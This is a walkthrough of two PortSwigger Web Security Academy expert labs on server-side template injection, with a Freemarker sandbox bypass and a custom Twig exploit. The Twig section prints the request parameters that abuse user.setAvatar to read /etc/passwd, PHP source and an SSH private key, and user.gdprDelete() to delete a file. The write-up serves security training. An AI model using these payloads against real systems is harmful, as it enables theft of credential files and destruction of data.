Labs Covered
This write-up focuses on the following EXPERT-level labs from the PortSwigger Web Security Academy related to Server-side template injection (SSTI):
6 Server-side template injection in a sandboxed environment
This lab demonstrates how attackers can bypass template engine sandbox restrictions to achieve code execution.
7 Server-side template injection with a custom exploit
This lab shows how attackers can craft custom payloads to exploit SSTI in non-standard or custom template engine implementations.
LAB 6 - Server-side template injection in a sandboxed environment
Lab Description
Solution
Now give random objection instance of price I give it king and give me error which will reveal template being used so freemarker java.
We execute 2 payload and get 49
And get 9
Now when we used payload to bypass sandbox it is giving me below error which says article is not defined.
So we will used product because product is object in it.
At bottom we can see the result of my_password.txt. And the submit ty00vv4k6u5keypnia1a and lab is solved
LAB 7 - Server-side template injection with a custom exploit
Lab Description
Solution
Solution 1: My Solution
This lab was pretty cool and enjoyable. It took me a few days to solve it because initially, I went in the wrong direction by focusing too much on the Twig documentation. Although studying template engine documentation is often necessary for real-world exploitation (e.g., learning about custom templates, extensions, filters, gadgets for RCE or file read), in this case, it was not the right path.
I tried creating and uploading custom Twig templates, extensions, and filters using the avatar upload functionality. I even attempted uploading custom PHP files, but none of these methods worked due to Twig’s security hardening. Eventually, I realized I needed to focus on developer-created objects exposed in the templates.
Tip from Web Security Academy
Some template engines run in a secure, locked-down environment. While this makes RCE harder, developer-created objects may expose an easier attack surface.
So, we look for those developer-created objects. That’s tip #1.
Initial Observation
- Log in as the
wieneruser and intercept requests using Burp. - Navigate to the “My account” page.
-
Notice the parameter
blog-post-author-display=user.first_namewhen choosing a “Preferred name.”
-
Also post a comment. Observe that your preferred name is reflected as the comment author.
Test for SSTI
Send a modified POST request via Burp Repeater:
blog-post-author-display=user.first_name$
This triggers an error — confirming a Twig-based SSTI.
Now test a basic Twig operation:
blog-post-author-display=user.first_name}}
None of these resulted in code execution. So, still template injection, but no direct RCE.
Exploring Avatar Upload
Try uploading invalid file types (e.g., no file or a PHP file) — observe the error messages:
- References to
User.php -
Reference to method
user.setAvatar()
Try executing that method:
blog-post-author-display=user.setAvatar()
Error confirms that the method exists and can be triggered.
Reading Sensitive Files
You must pass two parameters to setAvatar: filepath and MIME type.
Try:
blog-post-author-display=user.setAvatar('/home/carlos/User.php','image/jpeg')
Refresh the comment — the avatar image becomes a symlink to the PHP file. Open image in new tab → get the PHP source code.
Repeat for:
blog-post-author-display=user.setAvatar('/home/carlos/avatar_upload.php','image/jpeg')
Nothing to see here :)
Finding the gdprDelete() Method
Discovered in User.php:
public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
$this->rm($this->avatarLink);
$this->delete();
}
Nothing to see here :)
Final Exploit - Delete Sensitive File
- Set symlink to sensitive file:
blog-post-author-display=user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpeg')
- Execute the deletion:
blog-post-author-display=user.gdprDelete()
Result: The file is deleted and lab is solved!
We send this request and refresh the post page that we had commented on to execute the payload and booom! The /home/carlos/.ssh/id_rsa file is deleted and the lab is solved!
Warning
Don’t run:
user.setAvatar('/home/carlos/User.php','image/jpeg')
user.gdprDelete()
It will break the lab and force a 20-minute reset.
Solution 2: Web Security Academy’s Solution
- Proxy traffic and log in. Post a comment.
- Notice that the preferred name feature is vulnerable to SSTI.
- Upload an invalid avatar. Observe error message exposing
user.setAvatar()and/home/carlos/User.php. - Upload a valid image and comment again.
- Use:
user.setAvatar('/etc/passwd')
- Error requires MIME type:
user.setAvatar('/etc/passwd','image/jpg')
- View the avatar at
/avatar?avatar=wiener— confirms file read. - Read:
user.setAvatar('/home/carlos/User.php','image/jpg')
- Find
gdprDelete()in the PHP file. - Set target file:
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
- Execute delete:
user.gdprDelete()
Lab solved.